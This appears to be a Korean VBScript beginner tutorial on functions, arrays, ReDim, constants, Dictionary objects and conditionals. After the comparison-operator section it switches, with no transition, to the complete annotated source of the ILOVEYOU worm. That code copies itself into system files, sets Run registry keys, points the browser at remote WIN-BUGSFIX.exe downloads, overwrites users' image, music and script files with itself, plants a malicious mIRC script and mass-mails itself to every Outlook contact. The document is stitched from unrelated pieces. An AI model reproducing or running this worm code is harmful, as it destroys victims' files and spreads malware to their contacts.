User Define Function으로 함수를 만들고, 함수를 호출할 때는 Call 으로 한다.
Function 함수 만들기 기본 예제 사용법...
두 값을 받아 출력하는 함수.
Function sayHello(name, age)
msgbox( name & " is " & age & " years old.")
End Function
Call sayHello("Tutorials point", 7)
* Return 값이 있는 함수
선언한 함수명 그 자체는 Return시 자기 이름 자체에 연산결과를 리턴한다.
Function Adder(a, b)
result = a + b
' 함수 내에서 연산된 값을 출력
msgbox( " output is " & result & " years old.")
' 연산결과인 result값을 함수값 자체로 return 시킴
Adder = result
End Function
dim x,y
x = 1
y = 2
' Return된 함수 Adder에 x, y 값을 넣어서 출력해봄
dim outputVal
outputVal = Adder(x,y)
msgbox( " output is " & outputVal & " years old.")
코드 작동 순서. (Function은 선언만 된거지 호출 전까지 실행은 되지 않는다)
1. dim x, y 변수 및 값 대입
2. Adder() 함수가 호출되었으며, 값 x와 y가 대입되었다.
3. Adder(a, b) 함수에 a=x , b=y 값이 입력되었으며 함수의 연산이 시작된다.
4. 그리고 msgbox에 우측과 같이 값이 띄어진다.
5. 함수명이었던 Adder는 값 3을 return받아 갖고 있게되고, 그 값을 ouputVal 이라는 변수에 넣어 주었다.
'Method 1 : 동적 배열 선언 (사이즈를 한정하지 않음)
Dim arr1() 'Without Size
'Method 2 : 정적 배열 선언 (사이즈를 한정함 5칸)
Dim arr2(5) 'Declared with size of 5
'Method 3 : 정확한 parameter 를 넣어 선언
Dim arr3
arr3 = Array("apple","Orange","Grapes")
for i = 0 to 2 step 1
msgbox "num of " & arr3(i),, ""
next
(결과)
for문으로 3번 반복하게 했으며, 그때마다 출력이 달라진다.
반응형
Array에 정해진 크기를 할당한 후, 각 array 칸당 하나씩 값을 입력하기
출력할 수 있는 타입들. (문자열, 숫자(정수/소수) , 날짜, 시간
' array를 5칸 지정(assign)하고,
' 그러면 0부터 5까지 총 6개의 array가 할당된다.
' 아래와 같이 각 array에 값을 하나씩 넣을 수 있다.
Dim arr(5)
arr(0) = "1" 'Number as String
arr(1) = "VBScript" 'String
arr(2) = 100 'Number
arr(3) = 2.45 'Decimal Number
arr(4) = #10/07/2013# 'Date
arr(5) = #12.45 PM# 'Time
for i = 0 to 5 step 1
msgbox "num of " & arr(i),, ""
next
(결과) 아래와 같이 msgbox가 연달아 실행된다.
ReDim a() : 이미 정의되어있는 배열크기 재정의
ReDim Preserve a() : 기존의 배열값을 유지한 채 array 크기를 다시 정의
ubound(a) : 배열의 사이즈 (크기)를 담음
' array의 크기를 한정하지 않고, dynamic하게 조절
' ReDim은 다시 정의 한다는 뜻으로 안에 내용물을 싹 지우고 새롭게 할당.
' REDIM PRESERVE 는 기존 내용물은 그데로 두고 수정 및 추가에 사용.
' a()는 dynamic 사이즈의 array로 들어오는 array따라 유동적으로 크기 변경
DIM a()
i = 0
' REDIM 으로 선언하여 기존의 a()를 새롭게 5칸 크기로 재정의
REDIM a(5)
a(0) = "XYZ"
a(1) = 41.25
a(2) = 22
'위에서 선언된 a(5) 까지 모든 항목은 그대로 유지한체, 사이즈를 a(7)까지 늘림
'즉 a(0),a(1),a(2) 값은 그대로 유지
REDIM PRESERVE a(7)
For i = 3 to 7
a(i) = i
Next
'for문의 루프수를 a배열의 갯수만큼 돌림
For i = 0 to ubound(a)
Msgbox a(i)
Next
for i = 0 to 5 step 1
msgbox "num of " & arr(i),, ""
next
' 변수 정의하기
Dim temparr
' 이미 정의된 변수 재정의하며 동시에 크기까지 지정 (여기서 크기 1은, 0과 1까지 총 2칸이다)
Redim temparr(1)
' 0번칸에 값 넣기
temparr(0) = "hi"
' array는 0부터시작
msgbox temparr(0)
Redim Preserve temparr(3)
msgbox temparr(0)
txt = "a,b,c,e"
temparr = split(txt, ",")
' 0,1,2,3 숫자세서 마지막 숫자를 셈
msgbox Ubound(temparr)
' Ubound는 temparr의 크기값이 들어감
for i = 0 to Ubound(temparr)
msgbox temparr(i)
Next
(변수는 언제든 값을 바꿔서 넣을 수 있지만, 상수는 한번 선언하면 계속 그값이 유지된다)
Const [상수명] = 값
예)
Const MAXMEMBER = 12039382
Const PI = 3.1415
4. Set 사용하기, 개채변수 선언, Object나 Collection을 담는 변수
Dim으로 선언 후, Set으로 개채변수로 사용
Set [개채변수] = object
예) dict 개체변수선언, 그리고 dict에 여러개 object를 넣음
Dim dict
Set dict = CreateObject("Scripting.Dictionary")
dict.Add "Name", "VBScript"
dict.Add "Id", "1"
dict.Add "Trainer", "K Mondal"
If dict.Exists("Name") Then
msgbox true
Else
msgbox false
End If
5. 두개의 문자열 합치기 & 연산자
str1 = "hello "
str2 = "world"
str3 = str1 & str2 & "nice to meet you"
6. 조건문 (If, Elseif, Else ,End if)
형태
IfconditionThen [statements]
[Elseif condition Then]
[elseif_statements]
[Else]
[elsestatements]
End If
예)
dim a
a = 11
if a < 10 Then
result = True
elseif a >= 5 Then
result = false
else
result = 0
end if
msgbox result
7. 비교문 (AND, OR, IS NOTHING, NOT)
=
같으면
a<b
b가 크면
a>b
a가 크면
a<=b
b가 크거나 같으면
a>=b
a가 크거나 같으면
a<>b
a와 b가 다르면
a And b
a도 true b도 true 여야만 true
a Or b
a나 b중 하나만 true여도 true
a Is Nothing
set으로 선언된 개체변수에 사용
a Not b
a나 b 둘다 아니어야 true
Dim dict
Set dict = Nothing
한 개체 변수를Nothing으로 지정하면 그 변수는 어떠한 실제 개체도 참조하지 않습니다. 여러 개체 변수들이 동일한 실제 개체를 참조할 경우 명시적으로Set문을 사용하여 해당되는 모든 변수들이Nothing으로 지정된 후 또는함축적으로Set문을 사용하여Nothing으로 지정된 마지막 개체 변수가범위밖으로 빠져나간 후에만 그 변수들이 참조하는 개체에 연결된 메모리와 시스템 리소스를 해제합니다.
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
rem Setup global variables to be used throughout subroutines and functions.
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0
rem Open the current script file and define "vbscopy" which can be used to
rem read its own contents. Used to replicate itself in other files.
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main()
rem Subroutine to initalize the program
Sub main()
On Error Resume Next
Dim wscr, rr
rem Creates a shell which will be used to read the registry.
Set wscr = CreateObject("WScript.Shell")
rem Gets a registry key which indicates the scripting time-out from Windows.
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
rem Checks if the current timeout is more than 0.
If (rr >= 1) Then
rem Sets the timeout to 0, effectively making it so that the script won't
rem time out, incase the system happens to be too slow to execute it.
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
End If
rem Finds special folders, such as system, temporary and windows folders.
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
rem LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
rem Call the other subroutines.
regruns()
html()
spreadtoemail()
listadriv()
End Sub
rem Subroutine to create and update special registry values.
Sub regruns()
On Error Resume Next
Dim num, downread
rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
rem Get internet Explorer's download directory.
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
rem If the directory wasn't found, then use C:\ drive as the download directory.
If (downread = "") Then
downread = "c:\"
End If
rem Check if a file named "WinFAT32.exe" exists in the system files.
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
Randomize
rem Generate a random number from 1 to 4.
num = Int((4 * Rnd) + 1)
rem Randomly update the Internet Explorer's start page that leads to a
rem page that will download a malicious executable "WIN-BUGSFIX.exe".
If num = 1 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
End If
End If
rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory.
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
rem Add WIN-BUGSFIX.exe to run on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
rem Update Internet Explorer's start page to "about:blank"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
End If
End Sub
rem Subroutine to list folders in drives.
Sub listadriv()
On Error Resume Next
Dim d, dc, s
Set dc = fso.Drives
For Each d In dc
If (d.DriveType = 2) Or (d.DriveType = 3) Then
folderlist(d.path & "\")
End If
Next
listadriv = s
End Sub
rem Subroutine infect other files, by copying itself into them as well
rem as creating a malicious mIRC script.
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
rem Copies itself into every file with vbs/vbe extension.
If (ext = "vbs") Or (ext = "vbe") Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
rem Copies itself into every file with js/jse/css/wsh/sct/hta extension
rem and creates a copy of the file with the .vbs extension.
ElseIf (ext = "js")
Or (ext = "jse")
Or (ext = "css")
Or (ext = "wsh")
Or (ext = "sct")
Or (ext = "hta")
Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
Set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with jpg/jpeg extension
rem and creates a copy of the file with the .vbs extension.
ElseIf (ext = "jpg") Or (ext = "jpeg") Then
rem Copies itself
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
Set cop = fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with mp3/mp2 extension.
ElseIf (ext = "mp3") Or (ext = "mp2") Then
Set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
Set att = fso.GetFile(f1.path)
rem Sets file attributes to make the file Hidden.
rem Normal files have the attribute set to 0 so adding 2 to it,
rem will set the attributes to Hidden.
att.attributes = att.attributes + 2
End If
rem Checks if the folder has already been infected, if not it will continue
rem to infect the files.
If (eq <> folderspec) Then
rem Looks for mIRC and related files to determine whether it
rem should create/replace its script.ini with a malicious script.
If (s = "mirc32.exe")
Or (s = "mlink32.exe")
Or (s = "mirc.ini")
Or (s = "script.ini")
Or (s = "mirc.hlp")
Then
Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
rem The following mIRC script checks if the "nick" of a user is the same
rem as "me" to halt and send a DCC command that will send a message to
rem the user with a link to the LOVE=LETTER-FOR-YOU html page on the
rem system.
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq = folderspec
End If
End If
Next
End Sub
rem Subroutine used to get file listing of a folder.
Sub folderlist(folderspec)
On Error Resume Next
Dim f, f1, sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
rem Iterates over each subfolder from the given top-level folder and
rem recursively infect files.
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
rem Subroutine used to create/write registry entries.
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
rem Subroutine used to get registry entries.
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
End Function
rem Function to check if a file exists.
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Function to check if a folder exists.
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Subroutine to send emails to the user's contacts through MAPI
rem (Messaging Application Programming Interface), the API used by Outlook to
rem communicate with the Microsoft Exchange Server which also hosts calendars
rem and address book.
Sub spreadtoemail()
On Error Resume Next
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
rem Creates a shell to edit the registry.
Set regedit = CreateObject("WScript.Shell")
rem Creates a new Outlook application object instance, to access the MAPI.
Set out = WScript.CreateObject("Outlook.Application")
rem Gets the MAPI namespace used to access the address book lists.
Set mapi = out.GetNameSpace("MAPI")
rem Goes through all contacts in the address book and sends an email
rem with the LOVE-LETTER-FOR-YOU program as an attachment.
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
rem Gets a registry key that is used to check who has been sent an email,
rem already to ensure that even if there may be duplicate contacts, it will
rem only send the email once to the same address.
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
If (regv = "") Then
regv = 1
End If
If (int(a.AddressEntries.Count) > int(regv)) Then
rem Iterates over each entry in the address list.
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )
rem If the contact hasn't yet been sent an email, a new email will be
rem composed with the virus attached and a "kind" message and the
rem subject "ILOVEYOU".
If (regad = "") Then
Set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
rem Sets the registry key to indicate that the email has been sent
rem to the current contact.
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
End If
x = x + 1
Next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
Else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
End If
Next
Set out = Nothing
Set mapi = Nothing
End Sub
rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM.
Sub html
On Error Resume Next
Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
rem Generates an HTML page which contains a JScript and VBScript to replicate
rem itself by leveraging ActiveX. It also listens for mouse and key events,
rem which will open additional windows of the same page.
dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"
& vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"
& vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"
& vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "
& vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"
& vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"
& vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>"
& vbcrlf & _ "<?-?BODY><?-?HTML>"
& vbcrlf & _ "<SCRIPT language=@-@JScript@-@>"
& vbcrlf & _ "<!--?-??-?"
& vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
& vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"
& vbcrlf & _ "<!--"
& vbcrlf & _ "on error resume next"
& vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"
& vbcrlf & _ "aw=1"
& vbcrlf & _ "code="
dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"
& vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)"
& vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"
& vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"
& vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"
& vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"
& vbcrlf & _ "wri.write code4"
& vbcrlf & _ "wri.close"
& vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then"
& vbcrlf & _ "If (err.number=424) Then"
& vbcrlf & _ "aw=0"
& vbcrlf & _ "End If"
& vbcrlf & _ "If (aw=1) Then"
& vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"
& vbcrlf & _ "window.close"
& vbcrlf & _ "End If"
& vbcrlf & _ "End If"
& vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"
& vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
rem Replaces encoded characters from the above document to form a valid
rem document that can be correctly opened and executed in the browser.
dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")
dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")
rem Opens a new file system object, which is used to read this specific
rem script file, that will then be injected into the HTM document.
Set fso = CreateObject("Scripting.FileSystemObject")
Set c = fso.OpenTextFile(WScript.ScriptFullName, 1)
lines = Split(c.ReadAll,vbcrlf)
l1 = ubound(lines)
rem Encodes all special characters of the script's HTM, as this script
rem will be injected into the HTM file and executed.
For n = 0 to ubound(lines)
lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91))
lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93))
lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37))
If (l1 = n) Then
lines(n) = chr(34) + lines(n) + chr(34)
Else
lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
End If
Next
rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory.
Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
b.close
rem Creates the HTM file from everything above.
Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2)
d.write dt5
d.write join(lines, vbcrlf)
d.write vbcrlf
d.write dt6
d.close
End Sub